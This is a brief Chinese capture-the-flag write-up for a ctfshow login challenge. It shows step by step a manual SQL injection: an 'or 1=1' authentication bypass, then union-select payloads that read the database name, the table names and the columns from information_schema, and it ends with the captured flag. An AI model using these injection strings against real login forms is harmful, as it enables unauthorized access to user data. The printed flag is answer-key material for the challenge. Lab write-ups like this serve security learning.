打开题目显示是一个简单的登录界面,拿到题目,先试一下万能密码 admin' or 1=1# 123
没有限制的登陆成功,使用burp抓一下包,然后开始下一步。
bp抓包内容如下,发送到RP模块(重发器) 现在开始人工苦比的手动注入
首先是查看回显位 username=admin' or 1=1 union select 1,2,3#&password=123 GO!
回显位确认为 2
下一步,爆库名
username=admin' or 1=1 union select 1,database(),3#&password=123
库名为 web2
爆表
username=admin' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#&password=123
表 有 flag user
选择 flag 这个 表 读表内容
username=admin' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#&password=123
爆 flag 内容
得出flag
ctfshow欢迎你,ctfshow{a4f3f9f1-906d-4eff-9b6d-80e4980030d0}